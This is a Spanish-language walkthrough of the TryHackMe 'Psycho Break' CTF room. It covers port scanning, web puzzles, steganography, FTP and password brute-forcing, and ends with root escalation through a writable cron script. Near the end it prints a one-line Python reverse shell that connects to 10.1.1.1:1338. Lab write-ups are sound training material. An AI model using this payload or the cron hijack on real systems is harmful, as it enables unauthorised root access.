Contents

TryHackMe - Psycho Break

TryHackMe - Psycho Break

Psycho Break es una maquina de TryHackMe, es CTF Like por los multiples retos que se presentan.

Room

DescripcionHelp Sebastian and his team of investigators to withstand the dangers that come ahead.
Puntos208
DificultadFACIL
Makershafdo

Recon

nmap

Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21), ssh (2) y el puerto http (80) abiertos.

bash
 1# Nmap 7.80 scan initiated Wed Dec  9 21:22:51 2020 as: nmap -o allPorts psycho.thm
 2Nmap scan report for psycho.thm (10.10.253.212)
 3Host is up (0.28s latency).
 4Not shown: 997 closed ports
 5PORT   STATE SERVICE
 621/tcp open  ftp
 722/tcp open  ssh
 880/tcp open  http
 9
10# Nmap done at Wed Dec  9 21:23:31 2020 -- 1 IP address (1 host up) scanned in 39.29 seconds
11# Nmap 7.80 scan initiated Wed Dec  9 21:23:49 2020 as: nmap -p21,22,80 -sV -sC -o servicePorts psycho.thm
12Nmap scan report for psycho.thm (10.10.253.212)
13Host is up (0.35s latency).
14
15PORT   STATE SERVICE VERSION
1621/tcp open  ftp     ProFTPD 1.3.5a
1722/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
18| ssh-hostkey: 
19|   2048 44:2f:fb:3b:f3:95:c3:c6:df:31:d6:e0:9e:99:92:42 (RSA)
20|   256 92:24:36:91:7a:db:62:d2:b9:bb:43:eb:58:9b:50:14 (ECDSA)
21|_  256 34:04:df:13:54:21:8d:37:7f:f8:0a:65:93:47:75:d0 (ED25519)
2280/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
23|_http-server-header: Apache/2.4.18 (Ubuntu)
24|_http-title: Welcome To Becon Mental Hospital
25Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
26
27Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
28# Nmap done at Wed Dec  9 21:24:09 2020 -- 1 IP address (1 host up) scanned in 19.76 seconds

Web Site

Encontramos una pagina web en el puerto 80.

image

En la pagina inicial encontramos un comentario con una direccion.

html
1<!-- Sebastian sees a path through the darkness which leads to a room => /sadistRoom -->

En la nueva direccion se muestra un comentario en HTML y tambien al presionar el “link” mostrado en la pagina salta una alerta que muestra una “llave”, esa misma llave se encuentra en un archivo de javascript junto con una nueva direccion /lockerRoom/.

html
1<!-- To find more about Sadist visit https://theevilwithin.fandom.com/wiki/Sadist -->

En esta nueva direccion encontramos un mensaje “codificado” y una nueva direccion en un “link” hacia un “mapa”.

image

Utilizando guballa.de logramos obtener el texto codificado en vigenere.

image

Ingresamos al mapa y nos pregunta la llave, ingresamos el texto decodificado y nos muestra direcciones.

image

En Safe Heaven encontramos solamente imagenes.

image

Y en el codigo fuente un comentario.

html
1<!-- I think I'm having a terrible nightmare. Search through me and find it ... -->

En Abandoned Room pide una llave.

image

Gobuster

Utilizamos gobuster para busqueda de directorios y archivos en Safe Heaven.

bash
1kali@kali:~/thm/psychobreak$ gobuster dir -u http://psycho.thm/SafeHeaven/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -q -t 50 -x php,html,txt
2/imgs (Status: 301)
3/index.php (Status: 200)
4/index.php (Status: 200)
5/keeper (Status: 200)

Encontramos una pagina la cual nos muestra una direccion hacia otra.

image

En esta ultima nos pide que ingresemos el lugar exacto de la imagen presentada.

image

Utilizamos Google imagenes para poder subir y obtener la respuesta. Al ingresar la respuesta nos muestra una llave nueva, la cual ingresamos en /abandonedRoom/.

image

Nos muestra una nueva pagina y muestra otra direccion nueva.

image

En la direccion nueva nos muestra un timer y un mensaje RUN. RUN. Runn Get out of here !!!. En el codigo fuente de esta pagina encontramos dos comentarios.

image

El primer comentario habla sobre una “shell” dentro de la pagina.

html
1<!-- There is something called "shell" on current page maybe that'll help you to get out of here !!!-->
2
3<!-- To find more about the Spider Lady visit https://theevilwithin.fandom.com/wiki/Laura_(Creature) -->

Le pasamos ?shell=id en la pagina actual y retorno un comentario en el cual indica que el comando no esta permitido.

image

Realizamos una pequeña enumeracion y encontramos una nueva direccion en la cual no hemos estado y se muestran varios archivos.

image

image

Encontramos un archivo de texto y un archivo zip.

text_file bash
1You made it. Escaping from Laura is not easy, good job .... 

Dentro del archivo zip encontramos un archivo de texto y una imagen, este ultimo al parecer es un archivo zip y no de imagen.

bash
1kali@kali:~/thm/psychobreak$ cat helpme.txt 
2
3From [... snip ...],
4
5Who ever sees this message "HELP Me". Ruvik locked me up in this cell. Get the key on the table and unlock this cell. I'll tell you what happened when I am out of 
6this cell.
7
8kali@kali:~/thm/psychobreak$ file Table.jpg 
9Table.jpg: Zip archive data, at least v2.0 to extract

Stego

En el archivo zip (Table.jpg) encontramos una imagen un archivo de audio que parece ser codigo morse.

bash
1kali@kali:~/thm/psychobreak$ unzip Table.jpg
2Archive:  Table.jpg
3  inflating: Joseph_Oda.jpg          
4  inflating: key.wav

Utilizamos morsecode.world para obtener el texto.

image

Utilizamos el texto encontrado para extraer informacion de la imagen con steghide, donde encontramos credenciales para el servicio FTP.

bash
 1kali@kali:~/thm/psychobreak$ steghide extract -sf Joseph_Oda.jpg 
 2Enter passphrase: 
 3wrote extracted data to "thankyou.txt".
 4kali@kali:~/thm/psychobreak$ cat thankyou.txt 
 5
 6From [... snip ...],
 7
 8Thank you so much for freeing me out of this cell. Ruvik is nor good, he told me that his going to kill sebastian and next would be me. You got to help 
 9Sebastian ... I think you might find Sebastian at the Victoriano Estate. This note I managed to grab from Ruvik might help you get inn to the Victoriano Estate. 
10But for some reason there is my name listed on the note which I don't have a clue.
11
12	   --------------------------------------------
13        //						\\
14	||	(NOTE) FTP Details			||
15	||      ==================			||
16	||						||
17	||	USER : [... snip ...]				||
18	||	PASSWORD : [... snip ...]		||
19	||						||
20	\\						//
21	   --------------------------------------------
22	
23
24Good luck, Be carefull !!!
25kali@kali:~/thm/psychobreak$

FTP

Ingresamos al servicio FTP con las credenciales encontradas y vemos dos archivos, uno de ellos es un ejecutable, el segundo parece ser un wordlist.

bash
 1ftp> pwd
 2257 "/" is the current directory
 3ftp> ls -lah
 4200 PORT command successful
 5150 Opening ASCII mode data connection for file list
 6drwxr-xr-x   2 0        0            4.0k Aug 13 15:20 .
 7drwxr-xr-x   2 0        0            4.0k Aug 13 15:20 ..
 8-rwxr-xr-x   1 joseph   joseph      11.1M Aug 13 15:12 program
 9-rw-r--r--   1 joseph   joseph        974 Aug 13 15:20 random.dic
10226 Transfer complete
11ftp> get program
12local: program remote: program
13200 PORT command successful
14150 Opening BINARY mode data connection for program (11641688 bytes)
15226 Transfer complete
1611641688 bytes received in 70.65 secs (160.9213 kB/s)
17ftp> get random.dic
18local: random.dic remote: random.dic
19200 PORT command successful
20150 Opening BINARY mode data connection for random.dic (974 bytes)
21226 Transfer complete
22974 bytes received in 0.00 secs (6.6826 MB/s)
23ftp> exit
24221 Goodbye.
25kali@kali:~/thm/psychobreak$ file program 
26program: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=294d1f19a085a730da19a6c55788ec08c2187039, stripped
27kali@kali:~/thm/psychobreak$ head random.dic 
28000000
29111111
30123123
31123321
321234
3312345
34123456
351234567
3612345678
37123456789
38kali@kali:~/thm/psychobreak$

Al ejecutar el programa nos pide una “palabra”. Utilizando el diccionario y bash logramos obtener la palabra correcta y nos muestra el siguiente mensaje.

bash
 1kali@kali:~/thm/psychobreak/ftp$ while read line; do ./program "$line" && echo $line; done < random.dic 
 2000000 => Incorrect
 3
 4000000
 5
 6[... snip ... ]
 7
 8[... snip ... ] => Correct
 9
10Well Done !!!
11Decode This => 55 444 3 6 2 66 7777 7 2 7777 7777 9 666 777 3 444 7777 7777 666 7777 8 777 2 66 4 33

El mensaje incluye unos numeros lo que parecen ser un mensaje codificado con numeros que representan un teclado de telefono.

image

Utilizamos dcode.fr - multi-tap phone para obtener el texto.

User - Kidman

Con la palabra y el mensaje decodificado intentamos ingresar mediante el servicio SSH con estas “credenciales”, logrando obtener una shell y nuestra flag user.txt.

image

Privesc

Hacemos una pequeña enumeracion al archivo /etc/crontab y encontramos un cron que se ejecuta cada dos minutos.

bash
 1kidman@evilwithin:~$ cat /etc/crontab
 2# /etc/crontab: system-wide crontab
 3# Unlike any other crontab you don't have to run the `crontab'
 4# command to install the new version when you edit this file
 5# and files in /etc/cron.d. These files also have username fields,
 6# that none of the other crontabs do.
 7
 8SHELL=/bin/sh
 9PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
10
11# m h dom mon dow user	command
1217 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
1325 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
1447 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
1552 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
16
17*/2 * * * * root python3 /var/.the_eye_of_ruvik.py

El cron ejecuta un archivo de python, el cual escribe una “oracion” dentro del archivo .the_eye.txt. Tenemos permisos de escritura en el archivo de python por lo que lo modificamos para ejecutar una shell inversa.

python
1.the_eye_of_ruvik.py
2#!/usr/bin/python3
3
4import subprocess
5import random
6
7stuff = ["I am watching you.","No one can hide from me.","Ruvik ...","No one shall hide from me","No one can escape from me"]
8sentence = "".join(random.sample(stuff,1))
9subprocess.call("echo %s > /home/kidman/.the_eye.txt"%(sentence),shell=True)
python
1subprocess.call("echo %s > /home/kidman/.the_eye.txt"%(sentence),shell=True)
2import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.1.1.1",1338));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.system("/bin/sh -i")

Logramos obtener una shell con el usuario root y nuestra flag root.txt.

image

sckull

Written by sckull

eJPT · eCPPT · eMAPT

Prev HackTheBox - Blunder
Next TryHackMe - Chill Hack